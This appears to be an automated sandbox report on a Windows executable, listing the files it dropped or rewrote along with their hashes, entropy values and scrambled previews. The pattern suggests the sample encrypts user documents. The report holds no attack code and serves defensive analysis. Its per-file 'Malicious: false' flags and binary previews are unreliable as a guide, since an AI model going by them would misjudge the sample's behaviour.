Malicious:	false
Preview:	%PDFT...E{....:.."Bk-<..@.d,..L./.'^.cu..r...Z..........%>.fq.z.T.....[.35..!`....0DFqa.4\.s...D.......OS.img.).CQoh..Hy...~.qe..1<...T"F...Z...A.....0.G..kg37...a...+1[..v.Z..E..L.../.Y . mM.X\|n.V'._...@[&\W..<..F....F.x.Y..D........uw.....8.N.:.....o...6\|E./...,F.71:GQ..Od.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.385651529468456
Encrypted:	false
SSDEEP:	12:d+E6v3XjD4QdOXGgOR7q3X26SUdNcii9a:d+Z3XIQdOXGlR4G52bD
MD5:	C34B6A655B850D6794D6B7DCFF5E2C74
SHA1:	7955EAC4B2A4446C076FCDAEEE13ADCD7335B3D0
SHA-256:	B260445D7E8AE3F5F407B49CA965E047494E28E78D8C8790309E56A27BEF24A5
SHA-512:	A885EF06FC537DC4EF79E9344A2B5C03FB6B7FBD5BBC372B1BA04CB721CD9A684B7E89A532F84F2F6F995EA2570851BB165EF54E4AFDF2FDA40768158805AF9F
Malicious:	false
Preview:	%PDFT...g9o.c....j.0..U..).B.y..7......:.O...m..Y.B.#....{....4............6...x......c.....(.V\|.$4.S.)..?D..v.Tm.o._.P_............g.......Bt./@@+_..i.^...o...o...;\.......".$.I....:?&C..h(...@.;.X:..Q.....I..7/...H....B=\|.I..q.j...x..P6.lT...d..W...m.4@.gM...o..../.C&g.A..M..y@....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.83412120937915
Encrypted:	false
SSDEEP:	24:4CoLaLxcSp7rCCstkIGhVkZ8MpFUW5HrDUHxGo9SqMLdts9NanwX+LR0zmzlC8ez:Bo2LWiOCukRVkZ8MsKLIHx2qurs9NeNS
MD5:	03053BE2EF811835AB68A22400F720FF
SHA1:	08D1C4518B96AB0E257555B8A6021F43A6AB0FA6
SHA-256:	CF3AFC2D2002F522C648EBB347AC97B8BEE6884BBFFD33E3DAACC26E8E43C5C6
SHA-512:	DEA876C4CFD8DC3A284CBC2369568E24889397E3E56D0F13F40BFCD6651A1F572845C5C707B2AB6F607389CF86A42503DCAA24823A3E1635BE1FFC619DB8015A
Malicious:	false
Preview:	<?xmly.z...GG..u.J...V.OU...7....:U.cuc"$..u..1$.....w(...#.%...<X.....n....OPj..9..S.n..#uZ...8..t.....Z9).).Rd>.:..~z_.i..\.Z...e....L.h.%.?.5/F..W..`..Q.5..l>...yp.N..V..m..B..vJ.^.5#M.S'.:P.....1}.5.C....1pG...B....@?M....{.l.....[hKM.X...>.pe..w.L..r..j./......F{.q.K......J!!.F\..U.azg.NX.{.._..3B8..(?...`.../$5....."..a\.......S6...w....w.U..\.......q.6e.I...v72...uET...8.3....q_kO-6So.7.....F...=W....>bl...mb5(.i$_......KD....a(.....ho....Vl..I..+..c..,.P...hb..Z..p..g9P....E...N&,@Cs..=.......}'..N..+.<D..H....U.% %Ud?E.E.R...`.U.k.v.2....A.X....M.\'..E.........+.....J.4\.+.pz...c...}.s..G...: 1qIz.e.:........PH..QR..Yt..$....-.........}.Zh./.g...6..`L0O...... .8a....D......9..a.w;(.bUZ..Te...FX.M.M..w......p.]../..1...j\.o......U.3...T:d....%.sv.hJ..-..T.uz.x .fi.Q...........>..g.).:WQ.H.*U"._....v...%..Q.@.:5(Hl..].4......X....cz...^$.Y....=p..yI. .3..,...!.AT.~dG..[....,.n.....#H.p..0.}.qI.....&..e..L.cv.:..r.V...cy.Ho#8...DB..{

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.912486250669904
Encrypted:	false
SSDEEP:	48:vAfSoydUPkUXJdXy6/okAQ53ky/rndmHuCNCYcNKZLqwkN842D:vHdgXJdifkAQRybCtNqLbt4u
MD5:	4B91AE443D2771E48421E5681876449A
SHA1:	F4BC48B9238A8095506DF8112D6AAB050283AB9E
SHA-256:	897F66A35B93FBCE76AC5F9B57DF47234E56823942639B7F85F55E4190CF97AE
SHA-512:	033900ABAE2EA44AE0F683217EF1518395399FCF7BDA490E250AB07C835763D5E5CA1D8BB665769064577905AAAC3EEAF490D728B78B9EA4065D821946BD737C
Malicious:	false
Preview:	<?xmlyg....{..+o..~~rN....AG...TtI.%..9...."..Y&6......#a...l#.Go..X...D...a.........U+.R.h;.H...2d 8...g.o...s#...4...p...\..8?.P.........v.+.t..... .......].-+2Ai.{.......b...s.......yu .z..9.E'_>a......G..Ht.E.T...W.Y.p.v.k}......Z..ev.3...Dw.....o...8._.YbC.f....".z...S.jb..4.Q.Dl_.F.v..9n.6.F.....'s...9m.).....q...jJ...L=...Fn ...Y"._L2x....X.D.!...l.S..\|.."CM.M..E..K...q..^.....PJ..2.+.(.+4s.n._".~S....]i?4....G....z.0....J4..4R....x.$.b.:=.=..."..,...g..rT};.4...g.G%.0g..r+.......Ee(..r....$*W.j...K{...5pWq...:.....T.(#N"Fy...L...Ng.9P...........}..%.H.?T.....Bu.c..O.w7)..-.1'.....ze.]...G,....9...D..T.0.{.0[<.>3.......2T"Y.Sn......._...t..S.H........y2..>v.tH%V....T..=..r..R ..QE"g....).Jo.......pm...K#n.....Z..,..~.$E...cM.yn.k.......W.l.~....!..]..jz`..%.k...E...9.].......]..!.~........Z,MR.?.]..k..['......8...c4.k9.o..6..7....&pW.?..d.2....q..a.....B.....~..@<..c....a.Fe...fz.8u..T.`{.2=kR%.\|.8.V...........b..B..v...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.926565033166775
Encrypted:	false
SSDEEP:	48:KBEX+LfCBjwqDI67pjcUV3eXG9DRvWqd8CiszOURjTIpZoYv7D:KW3mq/wXG9l9A9OwZou3
MD5:	8B48E69BABE47E9BC426E17CBD88D072
SHA1:	1A671D399CCD55E972824265B584A9845ECA463B
SHA-256:	BE60254EDBAFC175697636F679C7C78588459859D632CDA89854257E2406F684
SHA-512:	5864DDAC865EFDD8AAE065EE77B4E190530A355DE98D61336CB60EA783767996D7D29E9884A05462183F95D22CE67CAA84B34277FC2A59FB0CCDDF74A18C8A97
Malicious:	false
Preview:	<?xml.}U8LvZO...l..9Vc....Y.....k.f....;M5.%#.h..Vh.."....G. .I-0.y.F...rX.Z..u`.9.7.G..M`...r..^.("......\.c......R%..0...V..U....1.z..<.[T..\|.X..0.D.l.Q..U.....h.gYY.w.....Y...i....S....5.:...........c6.......h...20/.8.K.{.#.3(.....JXi.p.....L.,.`....a.$.i}#..5.s'A ...%)..R...$....P...>B/....f^F.3..<J=..)..g.I.l..E.C...=:.....B.....6[B@].f:G...c..+d......b..p.ruL........'..B}.w.Yx..^."\|.....L...WJ...h.l..Q=.KE........g....@..;.%FK.^TM.....PI.}..?...`...~...4.7R.B..5.\0..pK.....$../..x.>k.$..3$.h...;Q.F..R9[.`e.v.^.....F.....b..O.H..%..57d...{..o...oM......1.C.3S.......q.......).T..xR..T^w......P...Ra2..B.R/.Rl....W.5j.....p..eX...:.\|"..^.My.!.R.P...".....u......O.+.YQDt.3.G....\..@;.....B....c..VT...E.Kt.....Q...YI....../...a....Dd..{.......{.....C.j.h..x..G.9.h......~...j%x.......>....:9........o.. .!E...k.4.@O......Y..vG......Z<g..fr...G....c...=d.m.P...M..*&.......b.8...yW.....b.6..J....G..m...l:..X".q...k.{.>@..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.914917339946739
Encrypted:	false
SSDEEP:	48:QAPGRCYCftozyU0RkyNiDxBOr3DxlDqLWSadMP2Hjf/vewND:QAPGgXftozOWy4BQ3DTSaQMf/ve6
MD5:	807E4EEB37214868846C440132057E00
SHA1:	36890761D56845C04063584749A9BCD2C0FBA0BE
SHA-256:	934A49A91008FBC6EE2149B39E86BB77B01C32C00F4B51DD56C3D632B7B825F7
SHA-512:	E8FA83156761840E70D698B1750C3F19618B2F712DFB1F711E93C95CC565F5AE9EBD336ACA9AC339603FC3E1C0D6A93B527A665B501EEA71132FB6DEE5383565
Malicious:	false
Preview:	<?xml-..QO.<.n..s..\|{".IoN..$kT.....f....1..6.........w@....]..)..h......LD..T.'.:T8.f..F.v.~.g......Rt(.#0....A..u'Ze5..........{.S.E.Xo..L......<.;.v. ......F...e.U.9....L_........:B...2.n.z8v...Z-_.l...&.(f `...,.=..w}>.#.A..VI.r.WI^.Ss.6./.C.,;W]..vty.c...f.}.T.R....g...o..f.._rx.['W...&./_..i%L.....x..?.]3.<H..b....f.q.rbRC..X.O.#Y..:.q.e..'.....M.TY=O.]W.p7...b.<..... .."...Q..._{..rm..O'....R..>.=h.....p..l.........h...4.E.....P.H..O..{..D../P...@...)..\|.....7....w<....&.oJ.........N....Of=9%..+.~..X....c.p+<_...ux......Hk.v..R....25k.....W.O..V....f05.5.I.-fTTW.f.2...... .M.=4i.%..p....z..B*<.h......D....o...\|...].)........$6.0.N].G...6z.9.&....Ec%.nr....`..Y;.......(....23..3....~.D. .&..r.Bxy...;.. c....o..O`...{C~.k>.....O...K...l.z.N...m.....fG%S.~......z.)..+S....P./..<...fbv..R........8...f.Qcc_N..r..PwSA.....8.x...M..n$...................%a;......ye....n...F..4....:hr.F..5..8..DK...f.......I.)Ys29.Q......=Z.....:.A'.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.857644044903456
Encrypted:	false
SSDEEP:	24:n5G71i5R4kPhY0QstZJPdCEVGptT6YW61e6Ub2bD:Q1iBPwmldItTnW6kID
MD5:	8AEDAC688E0D920C2B827FFEB1760CC6
SHA1:	DE04E88B754231553142EE6CBA772E17A21A9A4C
SHA-256:	5CB8B21B3CF4FA149486175A7045E0ADCD3ACB65F3C9C21CE3819F7436813ABE
SHA-512:	3C2D951FBD7FA159E33D7F8BBC3B02BE726B0732D53097BE3580AFFE04952DB4DCB1955BD73EC910EFA85A4B4565CF14CB4764CE5B73401E322E52B3350ED4C5
Malicious:	false
Preview:	<?xml9P.2[.0....h...Q..;H.0..8....}ZE.w........A.I.#d!1#.q..V..,...aog.0..Y.Jw.J%Jp..U.t....%q.(..tZ.....iLu. ...h...s.......L'...L.^..L:}....b.N.o.%.i...j...G..#.(P..=.].....-.Y.J\|...k...Pz.-e.v..+.......z...r.....~......6V.0.........`......L...g_.dx:....;.}...i....n...eE....m.;....).....rmjz...X..9.i.t..+.....x.:.........E..5..Sf.3..t.....a.$..z<.\|<.{.y}.-n..a.......+...;U.5Q....8.d<..........&....+.......O.#.R.?_.....fr...\\.N.@m......m.o}.Y....D.1.3._.....C.:.w...?..?...F......S.>TQFR..Q.+............%.+.......".%.9..U...u...=.N..q..M...B...9Q....8W.....3..SJ..`.Y.....i.}cr...G.....&.Gh...&.h.F.V..R......8..-..@......>.w...3.!...) ....)...S.`...@..M.T..\|`.\A..I...z....;..$.'.^.3,.r .F.' ......H..:u..&..4z..l[..Q.t..y..$0l....5.[...Oo....(.}.o..Gw....c.W..Q<..v+Vc....yK;N....,G..N.d5...)...S...s&...#K..W.?X...U.L).....-6.]...br...BV.'.....]f.v..1..0?...F..x...r>.5jS.....\.K........p..2..Q..[....keB.Y..G..!.w......_..P.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.908733940599261
Encrypted:	false
SSDEEP:	48:JF0v1LZ60t7gwmoTo8g1HbNKI8zFzjeCSXBu5sovuMzqyD:J2LR5gw1ZgfEFFz5soGMzz
MD5:	12E7995CBC63926C6865BFAFD9F3310F
SHA1:	F12FB7F339581F910FBC9D2F12A7A8843E19E225
SHA-256:	D77B759632F96FF402B15931006A1252B97749D6DC98448A440F1147D0E51531
SHA-512:	4BBC61030861C008D9BD221B7E3E93FC4DEB22CF48E6F7F21C03597C0212ED4F0C686AE04CD96099AF82FF71001435187DA218B3A1BCBDE1C934CFFBA68C5F27
Malicious:	false
Preview:	<?xml.i.b.Vw...V4wI.7-z...s...`M.cIy^.=.....e..(...-8....r+.4`.P...F..l6.v....uA.......3..+..7:..}E.'.<.......:......>3..1.>......T....Eo.i..Pd....Wt.@..!..<.J..{...j-..Uo.........l.............../).O....'K.v...Zn.._s.?.t.o.D`.@...{.FS.gI.I...'........?..rK..g....c..tR.c"R..w..$.2.d&.5Le.M.....5Dj.=.u...c..8L.!V.ET...w..T......m.U.8?.kD}WA..}N.].,...w..o..`............./k.C...4.......F...M.t.PH...A2....o.A.B.!...8w.B..t...~..0...c...3.\Pj.e.'+.QY.......C...O...Q.I.w...H..>0......\1....5.;g..-!...s.Y..j...F."u7L0....d86.D..._...O:.V.l(cOC........(..2..}.^6....0..W.d~....<...V\....${N.@.+>.9.'....`....G....sc..L.^.WO...4n.G.;.\|;[.[......,...8Il_.P...........44..[..hV.....iQf.'C...+D..G.].^.5...t..m.\.%....q...\.x.......q.5+WeI......i.M..^..Y...........D..L.T.(...,.:i"Y./,....H1F..9..x............z..9..1..0..W...w0......[:A...9..r7...U...?:.....;....y.6.:.1..w.u...."..B.Tw..r.q..)[....]r9x.....W.f.P...\..R...H.....}..I\|.d;.K.q..x3

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AGWVMYQACF.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846995250726724
Encrypted:	false
SSDEEP:	24:ZpMVAOPuyGkeyBG5qUxveMBW9G7SHOkwfepWPV2jxHC5Uc9xHQ2bD:ZeAOP9GkhXMBZ/ep6kdHC5j9xjD
MD5:	BAB2FDBC19F77A42449ED1179E0F1784
SHA1:	FBE336F1CAAEA46271AFF434091CFF33BA4FD3EF
SHA-256:	D8E25A3F3700D3B3ED08EC77921567C32ED064E69D421CAB27999387FEAFB257
SHA-512:	97762031F6C1C5DF50B84A15F435381DA528DBADF553023C211CB15A66FA9E7C5D7BF4D11BE76146AC949E8051DF96FB22871D24BE5D260302CA79033E9D2AED
Malicious:	false
Preview:	AGWVMP`..z.....b.?...H+ww,..=+...}qV.2/...tMP.y.L...V4....2...ZmwZ!\|.%A*..8j.q.....[.>.Q...9@./q..\U...P.S..v.=%P...MU.rK.8..{/4...&.....;..A/....b..wx=.5.....{.....i...o..^KUG...Wc..{.....q.nb.r..~....B:..R...A..C.....#..Z.d..&.....w..t....T.._y...h...t.@U...Y....E.u..d...o.p.A.;...ZW..&..u2..._{.......R.}....[....eU....?......... .G...Q...sNV..C......6....?.vy.[.#.....J..&..J30.MCj....hi..4.q..\|\.^N..-._.v...:.~.D."y.W~.'.w;P.;..{...\|X.A.&.......~.?...Z(....yls.B...,..f....k..U..j.=..Uy3].U.Q.k..}....vd.....)...... L.o.91..l..jq.O4..DE...q..A....2..~...<."N.,G-.'.PNv...g.R!..[.~..92..m_.7.H.......4.>....\5...%...[..R.........w.w......H.....H.'..5z1...C.q.T.Q.2.!DB'g<.l..K.g].hn.av..T.._0<.).....j..".......fv.(<.S4B..+xsCs$<.R..]...t.d3.EJ...^.'..... .vN..2_.LW..]_.r[.f.<-.#.i..J....~\Thk.~.4.<,4...v.`\|..@......`.).%.j...=Q/4..m...7.\|I.{..$.D.......UD..v.....' . 1Z....y._...b+......LI~....6J..+0o..{'.\|q....d/-....$CGd+U.....L...%.q/.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ATJBEMHSSB.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8304977246082395
Encrypted:	false
SSDEEP:	24:N+KMjueT2SHax9kprAafWIo5TypKGHjx91uo1oIqFWLgZ0fs0gQyHChTlDc4+2bD:NwBKL0AvTiKpowA0ZGgQyihTlD7D
MD5:	67477B66F838842BA09651399ACC321F
SHA1:	C9F3DB3A6346E6724618DAF2C7F4033D30D4EE15
SHA-256:	27A97594AAF86C45041C1727626DCF5F162C4DC2EC12116A0008BEC29A819594
SHA-512:	AE71E9B9AC9C0C27A6BA43FBEF750972B619EC2AFDEE8AEF13E961CD42C78537FBC0B99335C8D692166FF4DC5EBCF93BA645F4C4BD16BB3F41944FA2CB5B52E9
Malicious:	false
Preview:	ATJBE.:?B].@.6a9~lz.<...G...$yN.&...5......f^....;u.97&!..8..uL.$Q.A..N......vf.vLJ)..XGucy...a.^.z....pE8.?B.VNP.vo!.6W..K..Z..^1...M..9:a.'....4q24..-.....`....`.&...XxT.#.Y.M.>B...4.0.&\|i.y..O.a.^}....S..e.+..%..I.!v9.. ....530..(B.......@....&....s......Y._.\|E.....p..s..b.y0.:...2...3V-..a.....Z.2w.hbpq.r.}.v.2EE.. n...).....N1J..y.X\.z..^%A..=.#g.;....e...A~)....n..6..../.$.}5.7\|C.z..7.....p.<k._..a...A:..;.:...p..H+.".v.........G..O....7...u.,..8U..[k.>H......L.Y...fy..k.S.&...S..l......%.....p:.+..E,..\|.u[...iWJ.8..4u.=v.q#..K..?2._,7V..5C...nD!i.P$.aPJ...7.~;..b....so..F..K..w.6C.K...z.j'..o.[.$.M.$j9..i.\........M......C.K."...{3...9x.i....a.i..h...GSw...,.\|.W.P.".l.~.........aZ$..2...f!....T}.I.@V.....$..Ua..n..&....N.Y....@..9E....~..D..T?..>..9....c....-V...`!...u._.s.....]..^GN....)f.-.?.....R.`.<..#.V2...../X..B.7..5~O..w..3O.....-".P"..<....aC....ue..E..qc.Z6.[....1...uNQ..N...c.=...K..a.%.....)IX.wK.\..-.9%^.i..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.jpg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838279607067713
Encrypted:	false
SSDEEP:	24:pfvVE3rx/iD3qLplDZFhQ+3cEmPoTBfdtWlJ7OrOA7cwipGJz+AB2bD:RvVE390qLplDZNJm6NWlJKhc9gYRD
MD5:	D942D2719B6E2C545AA045D819EC843B
SHA1:	45119A9BFFA5917C4162E077B9E8FBCC371A1373
SHA-256:	4DDF8E33A6B0A5A772D3C60FB2519B83B293C7D34FD3B18D366DA6FAC4C5C00E
SHA-512:	7E30851554E87246AFF28CFF93B5F0B5047420B40F511ED94D5B3C6F5D3475B3A7964BCBB537BBA8CE8DB4F6FE858E61A4DACA3A7C20E7BE859233B2D12875B9
Malicious:	false
Preview:	BNAGM[.QD..V......U.+....T.F.:j.~.D0..d4..~..!./%.$...eq...2.......(.Q.0...2{e.....;[.>...dqZ...>K....^'.O...._..L]AmC......[.v.R.S.....irG.:.:.........f......b8............w.^(...[..R]2l.. ...L.k\...\o.NJu.G61c...}...u#B.9.5.._L8...].8...]BQ.....m.....!.T=#.5..).......~3...B.S....I.FKK.a.#E,...`~.\|....%....M.>..ox.Go7g.F.f..o...\|..AE.9.&.a.....OA)5.`.H-....\|.xO.9..Zv#v.....g.W..CQ...v.......T...-.....;.B. c!C.F.pmA-..Q.@....o...WJr_..........{A...L.]6.\{Oi.C.%A...aH.N)..gzR........[.mH........o.CL..R...nxa....-....1.1....Z}O.-..,`.....1....3.9.~..(.o.7..^.&....>.1y.l`......;...Z.).s.Q...>.....SN.Y..g.cJ+.Cv...'1.%..3..d..6..LWh...}.S.(......F....71..>.E.}6...?..@%\|#.j.86.....S.N.....a...I..e.B.9....V....UI../..?.j#.)..3.W...#o._-3M.1.\|.$^b..K7........}.....".5.E......../..v^..4u.rC.]..[..............n....x......Sc9........v/M\|....@.3j2...CE...]...$6.M..w.f..6WWU5..\-.F..(.D..3G\...+.R.K.s_.....)~kA.`.h.6/.v.$wK'.1*......!.yl.Y.!.\|.I.....)..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.xlsx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833703924357949
Encrypted:	false
SSDEEP:	24:QWYZGOPD8i0nlke8xDcSqykvezJnT4XifycSsbp+KpsgKYreRz2bD:QPwuQXnlke8xDvkvm4XiKcSW5J8gD
MD5:	F0C810AF7678171A8AB1CC358B290334
SHA1:	C41A0F3D1FAF1009706CC3A1E8480370C1EA0B47
SHA-256:	2A9CA3742A05646E7AF93EDEE3BDA42011DAB4F264D64DA82B071F36B6A80FEA
SHA-512:	DD112D533B39CADA5EBC95813F0357EC6D437681DF6853C9D495D34CFE77FFFA38F69675EC76478B3F14A24E2A20DB26CD974A2B8401EC2569F183ECCD9A441F
Malicious:	false
Preview:	BNAGM..\}.:2..f\|.....m.L~.u9G..)a..........iI.....EK...^...O..I7.@Ls$X....9....Id.x5%.9IiL..q.\.A\.~.I..]M.i.!.K.i.Bu.....i..;3..Q.N#.;.T..U........dp.....}.p.....n...%...A2..R.<.3.............[.6.2..................reY...?&...v.D.C_k.....!.7,.w..ot...U7.."~\|$+...&..0ub.>b....%....w=.`....,......:..9..c.K......`#~T.($J.....\.......g....MU..<......M ..;.\|.d)i.b......q.{).A.-.P...w.........~n.(.?y!....G.....$cS..K..l.BX...e..c..........dm@.%...+..\.4D.........G+..f..+..7.7v....i..".B.U....9......L..Fe.....c.S......`.....!.\....k.0J......R.#.,x.lW;8h...,.o....l.@.Z...(2rDFcBI....l[.......l..a.. ...>....U....x.z.;..^..o4.=.I...\..N.W..Q-Kd,6."...ox.....Uex:.#......q.b.U.!.l6.......a~..4...1...]_...}..:.qQ.B(......;.J.A..#....F.V...Qw.h.7..v+.H.7.t..9*!.&........\./.t=3.8.6H.t..(.Y.^...`..RK....Ee5.o...Q'..:.....HQ.....j.{q................pk.....j`7..[..^.:=\.o.##.a,....M.9..(.Q.#mv..S..X.i...,...f.8/..}.....I.a.%.$...w...wI..U..QW

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BPMLNOBVSB.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.878025404724233
Encrypted:	false
SSDEEP:	24:V0exAWTMnebDfQCWvla1FbnFAy7/Is5PYRcSvStDKahEuRWTtj3thy/k2bD:VlFone3f30CFbjXPOq9RUi3D
MD5:	6F2230E074A6CB45E8D68C112B81AF2F
SHA1:	03CB525004720B896D722E22D1FC9C5EA60377EE
SHA-256:	A90184E12B7E4E4D77691D97499E58F27E63D8A8760048E6EF6E2D5DADD22172
SHA-512:	A75CE2BFA78C9CFB66034C4DE4F01C8E96F77E103F6FE6B8299D85140AF1812A0BAFB4565B4417AD3BCBFAE5A60C6C7619D105827A24E89BE91DACD7D9428329
Malicious:	false
Preview:	BPMLN...e.M...".....8)".HyUEDKQ;......w...?...K.M......`:.o{.q..D>.b{..."bf...#.Kf`0Lc....+`..@x..+SP...p..P..k..:....f]..D=.-B..C%".h._f..e...k...L...f...?..'3..;oM...sd.U.7...1cO..a..Id_l5ru..R.oM...'..=.\..l/.~/.(...[..Z......1....N#.._.%....@..D..Fj..px>.....P...EgXs......=...-X.-n9^[q........~A....3..P.v&.....A..~~.../]x]..........%.t]Jj.<.1.FYu_...........i.:....9.Ie.{.7..&.._F..Q.z{s.[.'A.a...{-5f1.)v..t.t./..qw3\|.o.T5\.r...;8.6.gK...u..-...Ve>}.gt........:....n.3.....)8.<.u.[yy=..d5...2]"/...y.@J.c.kY%....-.N5....].............II.a..S...Es(_".....[.N..?.G.V..{Ry..C.K...pd.x.....-hU.....'.....G:_...gB+.H.Vj.FsH#.S...u.S.,.&.\qI.......1....w.!z..._.......Oz...D..<u&>....^.VVv....~......#....>.n......+....d...lf./;.u....U.../...F.j..s!.....^\.x<...w...Vq..d..n.cu.Lo...r...i..`.0..8..h`........K.(Z.@....g.~sK.wy..v..*......E.p..j.L.T....j.....sT....e...,.:.r...{.YgI..4[n...G.M.}......2.cA4.d..q.2(.6.e W ..7.ZF>.b.6.<~.....v

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CURQNKVOIX.docx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841883788448813
Encrypted:	false
SSDEEP:	24:wwvslXqk2h9MMu8Lxta/rH9nbr3+04bbsYF4zRRIX3F4K1b/2bD:wY06/9MMu4o9u04bjFqR4TcD
MD5:	333E95E2E872EB371921239F5F2C08E9
SHA1:	C0D02EDF1F2216E6A5F1D6DB6BEB088C48ABA349
SHA-256:	DF88FF2A8749213ABE11DD366979B25B421FDD6ACD7726BB86282EFE9D08A1BC
SHA-512:	52E4EE551F44A13AAF909090063CA48F2AA95E4DC50AF0E6D6917425E9310640CEE41805D42FAEDC5B0E43BDD54ACA3048726FFC595763275AF9BE5590DEEEC4
Malicious:	false
Preview:	CURQN....H..R...:......Y..hv..H..X.H..6.....K..O.F..E...".....6..#..S 3....&-/.<.N..O.e.....Vb.xY.Y.9.%o....'.........mg\|y}.6.R.%.Ky..l...`.80wx.?.=...c@(..oc};2...f(.0..p.`o.R.{.%.....(.....V....O.$.K....q`F.7.......W:.YL.....z.......v.{..=.......,io.....$...9".i.E....2...e.arm....wZW..R$.h.....C..!.......4.:.)U4..].C.j.....3.........6.....Qx...7y2......6...g....m.p$\|..p...R.~z...2Y.-.s....C....." .X..&u...YS.{.sR...g......q.s.6N3f....>.W:+.`.{...Y..A;V...`wj..k.Q..d./....JM......0 ......:.%{........:J.ZOGB .4........w='...&MC.nF>....%.>....k.M..f.....;G~...v........s.'...4-G.+\{...J!k(.. ..(.7.J.X.;QH...bs=....j..-!U../{Ja..f...ct.9.v.B.A.\|.2..fYSM.M.?d\|..xAO..n..Y..m......M..7.x..C3W.h@..P............7.....i.....F..%xz.Rr.i.P...;Zz.J........%..=.V....u7..a...z.....0EG sQ.{"..L]..m...D....%`...c.aY.Z.\|6..1+.....J.gp#f....L.GQ..Q.....}...\|./u.*..8..]...i}..,.....=.W....^.D..[\|.4........Z....}s...l.D.s.....0.....0-......&..^.+<Co.MTG.a

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CURQNKVOIX.mp3

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835710374412737
Encrypted:	false
SSDEEP:	24:fGBQDPjLsSVyHJKpTyhRohkcwnyVJzOj3pKzElh+pTgbcopbwodj6oYotx04PY9r:fG6rJVypKQ4kcwyVkxhkMbcoJwm9YKxG
MD5:	D92C7B76C07EBB12D90AB785A21DB236
SHA1:	ADBAB41567EF6E7534C1F35E2A5D9E1C079375E2
SHA-256:	CB9166BF41BA5B0C1B4881150A3D7AF1665322F65454932CC92217A9399E9C9B
SHA-512:	6E1FD1DEFF2E053F1C641804B4F83F3B4796DB751A5BCEC8C73E212D692F6902B1E8ABD14BB98B859B65CC6EEE120AA420B5C654C64ABEE1C3A74FA68E3C1E5F
Malicious:	false
Preview:	CURQN.E....f>.....?...}...7.1..Ok......`x..^.+....2......_........-.s...I.X...]&:.qM43...U"ek..k...6.N_J3.\e.w.U.J...G.&.....7..<.e1.. .m.>.Ed..^....6m..n}..9.TK..E.]..j......2}.t...{p.G..&.V.$..>....e.}.e...t.by...z0.-....[...>V..U.Aq..u."^%..6.\|.[...Dp..(w?......oM.:.gyo..+.;.......(.X.u8./..[.Z<...7>.NAC.\|../..M..u.w..`.....+ ..Fd\.........%@Q.B...72..5. +.\|.y...\|o.F..P.q.....)S.._....(l........<(..k8.....LP.........l........x[..W..B..^....s...0.Ki?#...^..]E...+/.=A.)...........uB.ed3...K.(.>.;.;........\.B_,'.n.....pu.]Z....S.h..(.....@$.....c.c..Z.....;.R.m.^.+..2.....G..i.t.d5...Q.E.5a.$4..aO..k-..v.m...t..n.....0.k..oGc\|EO.XR..F.......^..3...u...$......../...D\..h....I.;....w3.5./...8...\|/...q&<-[Q.....,...m..;...HLW5...2.0..g(..6....\|...0....M.~.....0E......"_.8...1.4..n....\).]...}...X$.j.e..D...M9.F\|.)....~.y.s.W....QX...^y.Ij9.!.R...".q.%O.v=.9...a......@..(..D...4..`).d.`G.`.e<..v.<x......&..BU.KP......ed.1h...$J..#

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CURQNKVOIX.xlsx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838133334030272
Encrypted:	false
